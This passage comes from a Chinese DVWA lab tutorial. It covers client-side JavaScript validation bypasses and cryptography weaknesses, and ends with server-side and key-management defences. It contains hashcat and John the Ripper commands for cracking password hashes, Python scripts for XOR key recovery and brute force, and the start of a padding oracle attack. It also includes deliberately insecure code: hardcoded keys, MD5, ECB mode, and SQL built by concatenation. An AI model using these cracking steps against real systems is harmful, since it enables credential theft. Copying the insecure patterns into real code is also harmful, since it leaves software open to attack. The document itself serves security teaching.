            if (value === char) {
                plainToken += key;
                break;
            }
        }
    }

    return input === plainToken;
}

// 表单提交
document.getElementById('submitForm').addEventListener('submit', function(e) {
    e.preventDefault();
    var phrase = document.getElementById('phrase').value;

    // 使用混淆的验证函数
    if (checkPhrase(phrase) || validateInput(phrase) ||
        verifyPhrase(phrase) || checkToken(phrase)) {
        document.getElementById('result').innerHTML =
            '✓ Correct!
';
    } else {
        document.getElementById('result').innerHTML =
            '✗ Wrong!
';
    }
});
script>

新增防护

Base64编码 - 对token进行Base64编码
字符串反转 - 简单的字符串操作
XOR加密 - 简单的加密算法
字符替换 - 替换映射表

仍存在的漏洞

核心问题：所有”加密”和”混淆”都在客户端！

1
2
3

客户端混淆 ≠ 安全
客户端加密 ≠ 安全
客户端验证 ≠ 安全

问题清单：

编码/加密算法完全暴露
密钥存储在JavaScript中
攻击者可以直接调用解密函数
可以在Console中测试破解

绕过方法

方法1：Base64解码

// 在Console中
var encodedToken = "c3VjY2Vzcw==";
var decoded = atob(encodedToken);
console.log(decoded); // "success"

方法2：反转字符串

// 在Console中
var obfuscatedToken = "sseccus";
var token = obfuscatedToken.split('').reverse().join('');
console.log(token); // "success"

方法3：XOR解密

// 复制xorEncrypt函数
function xorEncrypt(str, key) {
    let result = '';
    for (let i = 0; i < str.length; i++) {
        result += String.fromCharCode(
            str.charCodeAt(i) ^ key.charCodeAt(i % key.length)
        );
    }
    return result;
}

// 使用相同的密钥解密
var key = "mykey";
var decrypted = xorEncrypt(encryptedToken, key);
console.log(decrypted); // "success"

方法4：反向替换

// 创建反向映射
var reverseMap = {};
for (let [key, value] of Object.entries(substitutionMap)) {
    reverseMap[value] = key;
}

// 解密
var plainToken = "";
for (let char of cipherToken) {
    plainToken += reverseMap[char];
}
console.log(plainToken); // "success"

方法5：直接调用验证函数测试

// 在Console中暴力测试
var possibilities = ['success', 'admin', 'password', 'token'];
possibilities.forEach(word => {
    if (checkPhrase(word)) {
        console.log('Found:', word);
    }
});

High 难度

攻击目标

使用更复杂的混淆和加密，但仍在客户端可破解。

前端代码分析

<script>
// ★★★ High难度：复杂混淆 ★★★

// 方法1：使用JavaScript混淆器（如javascript-obfuscator）
// 看起来像这样：
var _0x1a2b=['c3VjY2Vzcw==','charCodeAt','fromCharCode'];
(function(_0x4c3d8f,_0x1a2b3c){
    var _0x2d4e5a=function(_0x6b7c8d){
        while(--_0x6b7c8d){
            _0x4c3d8f['push'](_0x4c3d8f['shift']());
        }
    };
    _0x2d4e5a(++_0x1a2b3c);
}(_0x1a2b,0x12c));
var _0x2d4e=function(_0x4c3d8f,_0x1a2b3c){
    _0x4c3d8f=_0x4c3d8f-0x0;
    var _0x2d4e5a=_0x1a2b[_0x4c3d8f];
    return _0x2d4e5a;
};

// ★★★ 问题：混淆不等于加密 ★★★
// 虽然难读，但逻辑仍在客户端
// 可以通过调试工具分析

function _0x3f2a1b(_0x5d8c2e){
    var _0x7e9f3a=atob(_0x2d4e('0x0'));
    return _0x5d8c2e===_0x7e9f3a;
}

// 方法2：使用多层加密
function tripleEncrypt(str) {
    // 第一层：Base64
    var layer1 = btoa(str);

    // 第二层：XOR
    var layer2 = "";
    for (let i = 0; i < layer1.length; i++) {
        layer2 += String.fromCharCode(
            layer1.charCodeAt(i) ^ 0x42
        );
    }

    // 第三层：再次Base64
    var layer3 = btoa(layer2);

    return layer3;
}

// ★★★ 问题：加密函数就在旁边 ★★★
// 攻击者可以直接调用解密
function tripleDecrypt(encrypted) {
    // 第三层：Base64解码
    var layer2 = atob(encrypted);

    // 第二层：XOR
    var layer1 = "";
    for (let i = 0; i < layer2.length; i++) {
        layer1 += String.fromCharCode(
            layer2.charCodeAt(i) ^ 0x42
        );
    }

    // 第一层：Base64解码
    var original = atob(layer1);

    return original;
}

var multiEncryptedToken = tripleEncrypt("success");

// 方法3：使用WebCrypto API（看似安全）
async function deriveKey(password) {
    // ★★★ 使用Web Crypto API ★★★
    // TextEncoder - 将字符串转换为Uint8Array
    const enc = new TextEncoder();

    // ★★★ 问题：密码仍在JavaScript中 ★★★
    const keyMaterial = await crypto.subtle.importKey(
        "raw",
        enc.encode(password),
        "PBKDF2",
        false,
        ["deriveBits", "deriveKey"]
    );

    // PBKDF2 - Password-Based Key Derivation Function 2
    // 用于从密码派生密钥
    return crypto.subtle.deriveKey(
        {
            name: "PBKDF2",
            salt: enc.encode("salt_value_12345"),
            iterations: 100000,
            hash: "SHA-256"
        },
        keyMaterial,
        { name: "AES-GCM", length: 256 },
        false,
        ["encrypt", "decrypt"]
    );
}

async function encryptToken(plaintext) {
    const key = await deriveKey("my_secret_password");
    const enc = new TextEncoder();
    const encoded = enc.encode(plaintext);

    // ★★★ AES-GCM加密 ★★★
    const iv = crypto.getRandomValues(new Uint8Array(12));
    const ciphertext = await crypto.subtle.encrypt(
        {
            name: "AES-GCM",
            iv: iv
        },
        key,
        encoded
    );

    // 返回IV和密文
    return {
        iv: Array.from(iv),
        ciphertext: Array.from(new Uint8Array(ciphertext))
    };
}

// ★★★ 核心问题：解密函数也在客户端 ★★★
async function decryptToken(encrypted) {
    const key = await deriveKey("my_secret_password");

    const iv = new Uint8Array(encrypted.iv);
    const ciphertext = new Uint8Array(encrypted.ciphertext);

    const plaintext = await crypto.subtle.decrypt(
        {
            name: "AES-GCM",
            iv: iv
        },
        key,
        ciphertext
    );

    const dec = new TextDecoder();
    return dec.decode(plaintext);
}

// 存储加密的token（但密码就在代码里）
var cryptoToken = null;
encryptToken("success").then(encrypted => {
    cryptoToken = encrypted;
});

// 表单验证
document.getElementById('submitForm').addEventListener('submit', async function(e) {
    e.preventDefault();
    var phrase = document.getElementById('phrase').value;

    // 解密并验证
    var decrypted = await decryptToken(cryptoToken);

    if (phrase === decrypted) {
        document.getElementById('result').innerHTML =
            '✓ Correct!
';
    } else {
        document.getElementById('result').innerHTML =
            '✗ Wrong!
';
    }
});
script>

新增防护

代码混淆 - 使用混淆器处理JavaScript
多层加密 - Base64 + XOR + Base64
Web Crypto API - 使用浏览器加密API
复杂逻辑 - 增加逆向难度

仍存在的漏洞

根本问题：

1	无论加密多复杂，解密逻辑都在客户端！

具体问题：

混淆可以通过调试器分析
加密密钥存储在JavaScript中
解密函数可以直接调用
可以在运行时拦截数据

绕过方法

方法1：反混淆工具

1. 复制混淆的代码
2. 使用在线反混淆工具：
   - https://deobfuscate.io/
   - https://beautifier.io/
   - Chrome DevTools的Pretty Print
3. 分析反混淆后的代码

方法2：调试器断点

// 在Chrome DevTools中
1. 打开Sources标签
2. 找到验证函数
3. 在关键行设置断点（如return语句）
4. 提交表单触发断点
5. 查看变量值

// 或使用debugger语句
debugger;
var decrypted = await decryptToken(cryptoToken);
console.log(decrypted); // 查看解密结果

方法3：直接调用解密函数

// 在Console中
// 方法1：简单加密
var decrypted = tripleDecrypt(multiEncryptedToken);
console.log(decrypted); // "success"

// 方法2：Crypto API
decryptToken(cryptoToken).then(result => {
    console.log('Decrypted:', result);
});

方法4：运行时拦截

// 拦截函数调用
var originalFunction = tripleDecrypt;
tripleDecrypt = function(encrypted) {
    var result = originalFunction(encrypted);
    console.log('Intercepted decryption:', result);
    return result;
};

// 或修改函数输出
document.getElementById('submitForm').addEventListener = function() {
    console.log('Form validation bypassed');
};

Impossible 难度

攻击目标

所有验证在服务器端进行，客户端无敏感逻辑。

前后端代码分析

前端代码：

html>
<html>
<head>
    <title>JavaScript Attacks - Impossibletitle>
head>
<body>
    <h1>JavaScript Attack Test - Impossibleh1>

    <p>Submit the correct phrasep>

    <form id="submitForm">
        <input type="text" id="phrase" name="phrase" placeholder="Enter phrase">
        <button type="submit">Submitbutton>
    form>

    <div id="result">div>

    <script>
    // ★★★ Impossible: 客户端只处理UI逻辑 ★★★
    // 完全不包含任何敏感信息
    // 不进行任何业务验证

    document.getElementById('submitForm').addEventListener('submit', async function(e) {
        e.preventDefault();

        // 获取用户输入
        var phrase = document.getElementById('phrase').value;

        // ★★★ 核心改进：发送到服务器验证 ★★★
        // 所有验证逻辑在服务器端
        // 客户端只负责显示结果
        try {
            const response = await fetch('/api/validate', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    // ★★★ CSRF Token ★★★
                    'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
                },
                body: JSON.stringify({ phrase: phrase })
            });

            const data = await response.json();

            // ★★★ 显示服务器返回的结果 ★★★
            // 客户端不做任何判断
            if (data.success) {
                document.getElementById('result').innerHTML =
                    '✓ ' + data.message + '
';
            } else {
                document.getElementById('result').innerHTML =
                    '✗ ' + data.message + '
';
            }

        } catch (error) {
            document.getElementById('result').innerHTML =
                'Error: ' + error.message + '
';
        }
    });

    // ★★★ 完全没有敏感数据 ★★★
    // 没有token
    // 没有密钥
    // 没有密码
    // 没有业务逻辑
    script>
body>
html>

后端代码（PHP）：



// api/validate.php

// ★★★ Impossible: 所有验证在服务器端 ★★★

// 启动Session
session_start();

// ★★★ 核心防护1：验证CSRF Token ★★★
// checkToken() - 验证CSRF token
// 防止跨站请求伪造
$csrfToken = $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
if (!hash_equals($_SESSION['csrf_token'], $csrfToken)) {
    http_response_code(403);
    echo json_encode(['success' => false, 'message' => 'Invalid CSRF token']);
    exit;
}

// ★★★ 核心防护2：限流 ★★★
// 防止暴力破解
if (!checkRateLimit($_SERVER['REMOTE_ADDR'])) {
    http_response_code(429);
    echo json_encode(['success' => false, 'message' => 'Too many requests']);
    exit;
}

// 获取POST数据
$input = file_get_contents('php://input');
$data = json_decode($input, true);

// 验证输入
if (!isset($data['phrase'])) {
    http_response_code(400);
    echo json_encode(['success' => false, 'message' => 'Missing phrase']);
    exit;
}

$phrase = trim($data['phrase']);

// ★★★ 核心防护3：在服务器端存储和验证token ★★★
// 方法1：从数据库读取
$stmt = $pdo->prepare("SELECT token FROM challenges WHERE id = ?");
$stmt->execute([1]);
$expectedToken = $stmt->fetchColumn();

// 方法2：从配置文件读取
// $expectedToken = getenv('CHALLENGE_TOKEN');

// 方法3：动态生成（基于用户Session）
// $expectedToken = generateTokenForUser($_SESSION['user_id']);

// ★★★ 验证 ★★★
// hash_equals() - 时间安全的字符串比较
// 防止时序攻击
if (hash_equals($expectedToken, $phrase)) {

    // ★★★ 记录成功的尝试 ★★★
    logAttempt($_SESSION['user_id'], $phrase, true);

    // 返回成功
    echo json_encode([
        'success' => true,
        'message' => 'Correct! Well done!'
    ]);

} else {

    // ★★★ 记录失败的尝试 ★★★
    logAttempt($_SESSION['user_id'], $phrase, false);

    // 返回失败（不透露具体原因）
    echo json_encode([
        'success' => false,
        'message' => 'Invalid phrase'
    ]);
}

// ★★★ 辅助函数：限流检查 ★★★
function checkRateLimit($ip) {
    // 使用Redis或数据库实现
    // 例如：每分钟最多5次请求
    $redis = new Redis();
    $redis->connect('127.0.0.1', 6379);

    $key = "rate_limit:$ip";
    $requests = $redis->incr($key);

    if ($requests == 1) {
        $redis->expire($key, 60); // 60秒过期
    }

    return $requests <= 5; // 每分钟最多5次
}

// ★★★ 辅助函数：记录尝试 ★★★
function logAttempt($userId, $phrase, $success) {
    global $pdo;

    $stmt = $pdo->prepare(
        "INSERT INTO attempt_logs (user_id, phrase, success, ip_address, timestamp)
         VALUES (?, ?, ?, ?, NOW())"
    );

    $stmt->execute([
        $userId,
        $phrase,
        $success ? 1 : 0,
        $_SERVER['REMOTE_ADDR']
    ]);
}

?>

完善的防护机制

多层防御：

服务器端验证 - 所有业务逻辑在服务器
CSRF Protection - Token验证
限流机制 - 防止暴力破解
日志记录 - 记录所有尝试
时序安全比较 - hash_equals()防时序攻击
无敏感信息泄露 - 客户端完全不包含秘密

架构对比：

Low/Medium/High (不安全):
用户输入 → JavaScript验证 → 显示结果
         ↑
    包含token、密钥、逻辑

Impossible (安全):
用户输入 → 发送到服务器 → 服务器验证 → 返回结果 → 显示
                        ↑
                   所有敏感信息和逻辑

为什么无法攻破？

所有攻击都失败：

攻击1：查看源代码
结果：没有任何敏感信息

攻击2：使用DevTools调试
结果：只能看到UI逻辑，没有业务逻辑

攻击3：直接调用函数
结果：没有验证函数可调用

攻击4：修改JavaScript
结果：服务器端验证不受影响

攻击5：暴力破解
结果：被限流机制阻止

攻击6：重放攻击
结果：CSRF token验证失败

防御建议

架构层面

1. 永远不信任客户端

❌ 错误模式：
客户端验证 → 通过 → 执行操作

✅ 正确模式：
客户端验证（仅用于用户体验）
服务器验证 → 通过 → 执行操作

2. 敏感数据和逻辑在服务器端

// ❌ 错误：在JavaScript中
var apiKey = "sk-1234567890";
var adminToken = "admin_xyz";

// ✅ 正确：在服务器端
// config.php
return [
    'api_key' => getenv('API_KEY'),
    'admin_token' => getenv('ADMIN_TOKEN')
];

3. 实施适当的限流

// 使用中间件限流
class RateLimitMiddleware {
    public function handle($request, $next) {
        $key = 'rate_limit:' . $request->ip();
        $limit = 10; // 每分钟10次
        $window = 60; // 60秒

        if (Cache::increment($key) > $limit) {
            return response()->json(['error' => 'Too many requests'], 429);
        }

        Cache::put($key, 1, $window);

        return $next($request);
    }
}

代码层面

1. 避免在JavaScript中存储敏感信息

// ❌ 错误
var password = "admin123";
var secretKey = "sk_live_12345";

// ✅ 正确
// 从服务器API获取（需要认证）
fetch('/api/config', {
    headers: {
        'Authorization': 'Bearer ' + sessionToken
    }
})
.then(response => response.json())
.then(config => {
    // 使用配置，但不永久存储
});

2. 客户端验证仅用于用户体验

// ✅ 客户端验证（提升用户体验）
function validateEmail(email) {
    if (!email.includes('@')) {
        alert('Invalid email format');
        return false;
    }
    return true;
}

// 但必须在服务器端再次验证
// PHP后端
if (!filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
    die('Invalid email');
}

3. 使用环境变量存储秘密

// .env文件
API_KEY=sk_live_1234567890
DB_PASSWORD=secure_password_123
JWT_SECRET=random_secret_key

// 代码中使用
$apiKey = getenv('API_KEY');
$dbPassword = getenv('DB_PASSWORD');

4. 实施内容安全策略（CSP）

1 2	// 防止内联JavaScript执行 header("Content-Security-Policy: script-src 'nonce-{$nonce}' 'strict-dynamic';");

监控层面

1. 日志记录

// 记录所有敏感操作
function logSecurityEvent($event, $data) {
    $log = [
        'timestamp' => date('Y-m-d H:i:s'),
        'event' => $event,
        'data' => $data,
        'ip' => $_SERVER['REMOTE_ADDR'],
        'user_agent' => $_SERVER['HTTP_USER_AGENT']
    ];

    file_put_contents(
        '/var/log/security.log',
        json_encode($log) . "\n",
        FILE_APPEND
    );
}

2. 异常检测

// 检测异常行为
function detectAnomalies($userId) {
    // 短时间内大量失败尝试
    $failedAttempts = countFailedAttempts($userId, 60); // 过去60秒

    if ($failedAttempts > 5) {
        alertSecurity("Possible brute force attack on user $userId");
        lockAccount($userId, 300); // 锁定5分钟
    }
}

总结对比

特性	Low	Medium	High	Impossible
Token存储	明文JavaScript	Base64/简单混淆	复杂加密	服务器端
验证位置	客户端	客户端	客户端	服务器端
敏感信息	完全暴露	编码暴露	加密暴露	不暴露
限流	❌	❌	❌	✅
CSRF防护	❌	❌	❌	✅
日志记录	❌	❌	❌	✅
攻击难度	极易	简单	中等	极难

实战建议

渗透测试检查清单：

✅ 查看所有JavaScript文件
✅ 搜索敏感关键词：token, password, key, secret, admin
✅ 使用DevTools调试
✅ 尝试禁用JavaScript
✅ 检查API请求和响应
✅ 测试限流机制
✅ 查找JSONP端点
✅ 测试原型链污染

防御检查清单：

✅ 所有敏感数据在服务器端
✅ 客户端验证仅用于UX
✅ 实施服务器端验证
✅ 使用CSRF Token
✅ 实施限流机制
✅ 记录安全事件
✅ 使用环境变量
✅ 实施CSP策略

道德准则：

只在授权环境测试
不泄露发现的敏感信息
学习是为了构建安全的应用

DVWA - Cryptography (密码学) 攻防练习详解

2025-11-20T15:31:37.093Z

漏洞简介

什么是密码学漏洞（Cryptography Vulnerabilities）？

密码学漏洞是指在加密、哈希、签名等密码学操作中使用不安全的算法、错误的实现或不当的密钥管理，导致数据泄露或被篡改。

密码学的核心概念：

1. 对称加密（Symmetric Encryption）

使用相同密钥进行加密和解密：

明文 + 密钥 → 加密 → 密文
密文 + 密钥 → 解密 → 明文

算法：AES, DES, 3DES, Blowfish

2. 非对称加密（Asymmetric Encryption）

使用公钥加密，私钥解密：

明文 + 公钥 → 加密 → 密文
密文 + 私钥 → 解密 → 明文

算法：RSA, ECC, DSA

3. 哈希函数（Hash Functions）

单向函数，生成固定长度的摘要：

任意数据 → 哈希 → 固定长度摘要

算法：SHA-256, SHA-3, bcrypt
不安全：MD5, SHA-1

4. 消息认证码（MAC）

验证消息完整性和真实性：

1
2
3

消息 + 密钥 → HMAC → 认证码

算法：HMAC-SHA256

常见密码学漏洞：

漏洞类型	描述	示例
弱算法	使用已被攻破的算法	MD5, DES, RC4
短密钥	密钥长度不足	56位DES密钥
硬编码密钥	密钥写死在代码中	key=”12345678”
ECB模式	不安全的分组模式	AES-ECB
无IV	不使用初始化向量	重复的密文
弱随机数	可预测的随机数	rand(), mt_rand()
重放攻击	缺少时间戳/nonce	重复使用token

危害：

密码被破解
数据被解密
消息被篡改
身份被伪造
签名被伪造

DVWA场景：
一个加密消息传输系统，使用不同强度的加密方法。

Low 难度

攻击目标

使用已被攻破的MD5算法，可以轻易破解。

后端代码分析



// ★★★ Low难度：使用不安全的MD5哈希 ★★★

// 获取用户密码
$password = $_POST['password'] ?? '';

// ★★★ 危险操作：使用MD5哈希密码 ★★★
// md5() - MD5哈希函数（已被攻破，不安全！）
// 返回：32位十六进制字符串
//
// 问题：
// 1. MD5已被攻破，存在碰撞攻击
// 2. MD5速度快，易于暴力破解
// 3. 没有使用盐（salt）
// 4. 彩虹表攻击可以快速破解
//
// MD5的碰撞：
// 两个不同的输入可以产生相同的MD5哈希
$hashed = md5($password);

// ★★★ 存储到数据库 ★★★
// 实际应用中会存储这个哈希
// 但攻击者获取数据库后可以轻易破解
$query = "INSERT INTO users (password) VALUES ('$hashed')";

echo "Password hash (MD5): " . $hashed;

// ★★★ 简单加密（XOR） ★★★
// 使用简单的XOR加密消息
function simple_encrypt($message, $key) {
    // XOR加密：message XOR key
    // 特点：
    // 1. 加密和解密使用相同操作
    // 2. 非常不安全
    // 3. 密钥重用会暴露明文
    $result = '';
    $keylen = strlen($key);

    for ($i = 0; $i < strlen($message); $i++) {
        // ★★★ XOR操作 ★★★
        // ^ - XOR运算符
        // 每个字符与密钥字符进行XOR
        $result .= chr(ord($message[$i]) ^ ord($key[$i % $keylen]));
    }

    return base64_encode($result);
}

// ★★★ 硬编码密钥（极度危险！） ★★★
// 密钥直接写在代码中
// 任何人都可以看到源代码就知道密钥
$encryption_key = "secret";

$message = $_POST['message'] ?? '';
$encrypted = simple_encrypt($message, $encryption_key);

echo "Encrypted message: " . $encrypted;

// ★★★ 解密也很简单 ★★★
function simple_decrypt($encrypted, $key) {
    $decoded = base64_decode($encrypted);
    return simple_encrypt($decoded, $key); // XOR是对称的
}

?>

MD5哈希示例：

输入：password123
MD5：482c811da5d5b4bc6d497ffa98491e38

输入：admin
MD5：21232f297a57a5a743894a0e4a801fc3

特点：
1. 固定长度32字符
2. 相同输入总是产生相同输出
3. 不可逆（单向函数）
4. 但可以通过彩虹表反查

漏洞分析

核心问题：

MD5已被攻破
- 存在碰撞攻击
- 2004年王小云教授已破解
- 可以找到两个不同输入产生相同MD5
无盐（Salt）
- 相同密码产生相同哈希
- 容易被彩虹表攻击
XOR加密不安全
- 密钥重用会暴露明文
- 已知明文攻击
硬编码密钥
- 密钥写在代码中
- 任何人都可以看到

攻击步骤

步骤1：MD5暴力破解

使用在线工具：

MD5哈希：5f4dcc3b5aa765d61d8327deb882cf99

在线MD5破解：
- https://crackstation.net/
- https://md5decrypt.net/
- https://www.md5online.org/

结果：password

使用hashcat暴力破解：

# 准备哈希文件
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hashes.txt

# 使用字典攻击
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

# -m 0: MD5模式
# -a 0: 字典攻击
# 结果：5f4dcc3b5aa765d61d8327deb882cf99:password

# 暴力破解（纯数字，长度1-8）
hashcat -m 0 -a 3 hashes.txt ?d?d?d?d?d?d?d?d

# ?d: 数字字符集

使用John the Ripper：

# 准备哈希文件（格式：username:hash）
echo "admin:21232f297a57a57a743894a0e4a801fc3" > hashes.txt

# 破解
john --format=raw-md5 hashes.txt

# 查看结果
john --show hashes.txt

步骤2：彩虹表攻击

什么是彩虹表：

预计算的哈希表：
password → 5f4dcc3b5aa765d61d8327deb882cf99
123456 → e10adc3949ba59abbe56e057f20f883e
admin → 21232f297a57a5a743894a0e4a801fc3
...

查找：
获取哈希：5f4dcc3b5aa765d61d8327deb882cf99
在表中查找 → 找到：password

生成彩虹表：

# 使用rtgen生成彩虹表
rtgen md5 loweralpha 1 8 0 1000 1000000 0

# 使用rcrack查找
rcrack . -h 5f4dcc3b5aa765d61d8327deb882cf99

步骤3：破解XOR加密

XOR加密原理：

明文：H e l l o
ASCII：72 101 108 108 111

密钥：k e y
ASCII：107 101 121

XOR：
72 ^ 107 = 35  (#)
101 ^ 101 = 0  (NULL)
108 ^ 121 = 21 (控制字符)
108 ^ 107 = 3  (控制字符)
111 ^ 101 = 10 (换行)

密文：Base64(这些字节)

已知密钥破解：

import base64

def simple_decrypt(encrypted, key):
    decoded = base64.b64decode(encrypted)
    result = ''
    keylen = len(key)

    for i, byte in enumerate(decoded):
        result += chr(byte ^ ord(key[i % keylen]))

    return result

# 假设我们知道密钥是"secret"
encrypted = "IwQBBQ0A"  # Base64编码的密文
key = "secret"

plaintext = simple_decrypt(encrypted, key)
print(f"Decrypted: {plaintext}")

已知明文攻击（Known-Plaintext Attack）：

# 如果知道一段明文和对应的密文
# 可以恢复密钥

def recover_key(plaintext, ciphertext):
    key = ''
    decoded = base64.b64decode(ciphertext)

    for i in range(len(plaintext)):
        # 明文 XOR 密文 = 密钥
        key_byte = ord(plaintext[i]) ^ decoded[i]
        key += chr(key_byte)

    return key

plaintext = "Hello"
ciphertext = "IwQBBQ0A"  # 假设这是密文

recovered_key = recover_key(plaintext, ciphertext)
print(f"Recovered key: {recovered_key}")

步骤4：暴力破解短密钥

import base64
import itertools
import string

def try_decrypt(ciphertext, key):
    try:
        decoded = base64.b64decode(ciphertext)
        result = ''
        for i, byte in enumerate(decoded):
            result += chr(byte ^ ord(key[i % len(key)]))
        return result
    except:
        return None

ciphertext = "IwQBBQ0A"

# 假设密钥是5个小写字母
for key in itertools.product(string.ascii_lowercase, repeat=5):
    key_str = ''.join(key)
    plaintext = try_decrypt(ciphertext, key_str)

    if plaintext and plaintext.isprintable():
        print(f"Possible key: {key_str}, plaintext: {plaintext}")

Medium 难度

攻击目标

使用SHA-1哈希和简单的AES加密，仍有弱点。

后端代码分析



// ★★★ Medium难度：使用SHA-1哈希 ★★★

$password = $_POST['password'] ?? '';

// ★★★ 改进：使用SHA-1代替MD5 ★★★
// sha1() - SHA-1哈希函数
// 返回：40位十六进制字符串
//
// 问题：
// 1. SHA-1也已被攻破（2017年Google展示碰撞）
// 2. 仍然没有使用盐
// 3. 速度仍然较快，易于暴力破解
// 4. 不适合密码哈希（应使用bcrypt/Argon2）
$hashed = sha1($password);

echo "Password hash (SHA-1): " . $hashed;

// ★★★ 使用AES加密（但实现有问题） ★★★
// openssl_encrypt() - OpenSSL加密函数

// ★★★ 问题1：硬编码密钥 ★★★
$encryption_key = "mysecretkey12345";

$message = $_POST['message'] ?? '';

// ★★★ 问题2：使用ECB模式 ★★★
// AES-128-ECB - 电子密码本模式
// ECB模式的问题：
// 1. 相同的明文块产生相同的密文块
// 2. 不提供消息完整性保护
// 3. 容易受到块替换攻击
// 4. 不使用IV（初始化向量）
$method = 'AES-128-ECB';

// ★★★ 问题3：密钥长度处理不当 ★★★
// AES-128需要16字节密钥
// 如果密钥不够长，应该使用KDF派生
// 这里只是简单截断或填充
$key = substr(hash('sha256', $encryption_key, true), 0, 16);

// 加密
$encrypted = openssl_encrypt(
    $message,
    $method,
    $key,
    OPENSSL_RAW_DATA
);

$encrypted_base64 = base64_encode($encrypted);

echo "Encrypted message (AES-ECB): " . $encrypted_base64;

// 解密
function decrypt_message($encrypted_base64, $encryption_key) {
    $method = 'AES-128-ECB';
    $key = substr(hash('sha256', $encryption_key, true), 0, 16);

    $encrypted = base64_decode($encrypted_base64);

    $decrypted = openssl_decrypt(
        $encrypted,
        $method,
        $key,
        OPENSSL_RAW_DATA
    );

    return $decrypted;
}

?>

新增防护

SHA-1替代MD5 - 更强的哈希算法
AES加密 - 标准的对称加密算法
OpenSSL库 - 使用专业的加密库

仍存在的漏洞

核心问题：

SHA-1已被攻破
- 2017年Google发布SHA-1碰撞
- 仍然可以暴力破解
ECB模式不安全
- 相同明文产生相同密文
- 容易识别模式
硬编码密钥
- 密钥仍在代码中
无盐和迭代
- 密码哈希应使用bcrypt

绕过方法

方法1：SHA-1暴力破解

# 使用hashcat破解SHA-1
echo "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8" > hashes.txt
hashcat -m 100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

# -m 100: SHA-1模式
# 结果：5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8:password

方法2：利用ECB模式漏洞

ECB企鹅问题（ECB Penguin）：

1
2
3

原始图片 → 使用ECB加密 → 仍能看出轮廓

原因：相同的像素块产生相同的密文块

块替换攻击：

# 如果知道某些块的明文和密文对应关系
# 可以替换块来修改消息

# 例如：
# 明文：Transfer $100 to Alice
# 密文：[Block1][Block2][Block3][Block4]

# 如果知道"$100"的密文块
# 可以替换成"$999"的密文块

# 这在ECB模式下是可行的

识别ECB模式：

import base64
from Crypto.Cipher import AES

def detect_ecb(ciphertext):
    # ECB模式下，相同的明文块产生相同的密文块
    # 检测重复的16字节块

    decoded = base64.b64decode(ciphertext)
    blocks = [decoded[i:i+16] for i in range(0, len(decoded), 16)]

    # 如果有重复块，可能是ECB
    if len(blocks) != len(set(blocks)):
        return True

    return False

ciphertext = "your_base64_ciphertext"
if detect_ecb(ciphertext):
    print("Detected ECB mode!")

方法3：密钥恢复（如果可以）

# 如果密钥仍然硬编码在可访问的地方
import hashlib

encryption_key = "mysecretkey12345"  # 从源代码获取
key = hashlib.sha256(encryption_key.encode()).digest()[:16]

print(f"AES key (hex): {key.hex()}")

High 难度

攻击目标

使用SHA-256和AES-CBC，但仍有实现问题。

后端代码分析



// ★★★ High难度：使用SHA-256哈希 ★★★

$password = $_POST['password'] ?? '';

// ★★★ 改进：使用SHA-256 ★★★
// hash() - 通用哈希函数
// 'sha256' - SHA-256算法
// 返回：64位十六进制字符串
//
// 问题：
// 1. SHA-256虽然更强，但仍不适合密码哈希
// 2. 没有使用盐
// 3. 没有多次迭代（key stretching）
// 4. 应使用password_hash()和bcrypt/Argon2
$hashed = hash('sha256', $password);

echo "Password hash (SHA-256): " . $hashed;

// ★★★ 改进：使用AES-CBC模式 ★★★
// AES-CBC - 密码块链接模式
// 比ECB安全，因为：
// 1. 每个块的加密依赖于前一个块
// 2. 相同的明文块产生不同的密文块
// 3. 使用IV（初始化向量）

// ★★★ 问题1：仍然硬编码密钥 ★★★
$encryption_key = "mysecretkey12345";

// ★★★ 改进：生成随机IV ★★★
// openssl_random_pseudo_bytes() - 生成随机字节
// AES-128-CBC需要16字节IV
$iv = openssl_random_pseudo_bytes(16);

$message = $_POST['message'] ?? '';

$method = 'AES-128-CBC';

// 密钥派生
$key = substr(hash('sha256', $encryption_key, true), 0, 16);

// ★★★ 加密 ★★★
$encrypted = openssl_encrypt(
    $message,
    $method,
    $key,
    OPENSSL_RAW_DATA,
    $iv  // 使用IV
);

// ★★★ 问题2：IV的传输 ★★★
// IV需要和密文一起传输
// IV不需要保密，但必须唯一
// 通常做法：IV + 密文
$encrypted_data = base64_encode($iv . $encrypted);

echo "Encrypted message (AES-CBC): " . $encrypted_data;

// 解密
function decrypt_message($encrypted_data, $encryption_key) {
    $method = 'AES-128-CBC';
    $key = substr(hash('sha256', $encryption_key, true), 0, 16);

    $decoded = base64_decode($encrypted_data);

    // ★★★ 提取IV和密文 ★★★
    $iv = substr($decoded, 0, 16);  // 前16字节是IV
    $ciphertext = substr($decoded, 16);  // 剩余是密文

    $decrypted = openssl_decrypt(
        $ciphertext,
        $method,
        $key,
        OPENSSL_RAW_DATA,
        $iv
    );

    return $decrypted;
}

// ★★★ 问题3：缺少消息认证 ★★★
// 没有HMAC验证消息完整性
// 容易受到padding oracle攻击

?>

新增防护

SHA-256 - 更强的哈希算法
AES-CBC模式 - 更安全的分组模式
随机IV - 每次加密使用不同IV

仍存在的漏洞

核心问题：

密码哈希不当
- SHA-256太快，易暴力破解
- 应使用bcrypt/Argon2
硬编码密钥
- 密钥管理不当
缺少消息认证
- 没有HMAC
- 易受Padding Oracle攻击
密钥派生简单
- 应使用PBKDF2/HKDF

绕过方法

方法1：SHA-256暴力破解

# 虽然SHA-256更强，但仍可以暴力破解弱密码
hashcat -m 1400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

# -m 1400: SHA-256模式

方法2：Padding Oracle攻击

什么是Padding Oracle：

AES-CBC使用PKCS#7填充：
明文长度：13字节
块大小：16字节
填充：3字节（0x03 0x03 0x03）

Padding Oracle：
服务器返回不同错误：
- "Invalid padding" → 填充错误
- "Invalid data" → 数据错误

攻击者可以利用这个差异逐字节解密

攻击脚本：

import base64
import requests

def padding_oracle_attack(ciphertext_b64, url):
    # 解码密文
    decoded = base64.b64decode(ciphertext_b64)
    iv = decoded[:16]
    ciphertext = decoded[16:]

    plaintext = b''

    # 对每个块进行攻击
    blocks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]

    for block in blocks:
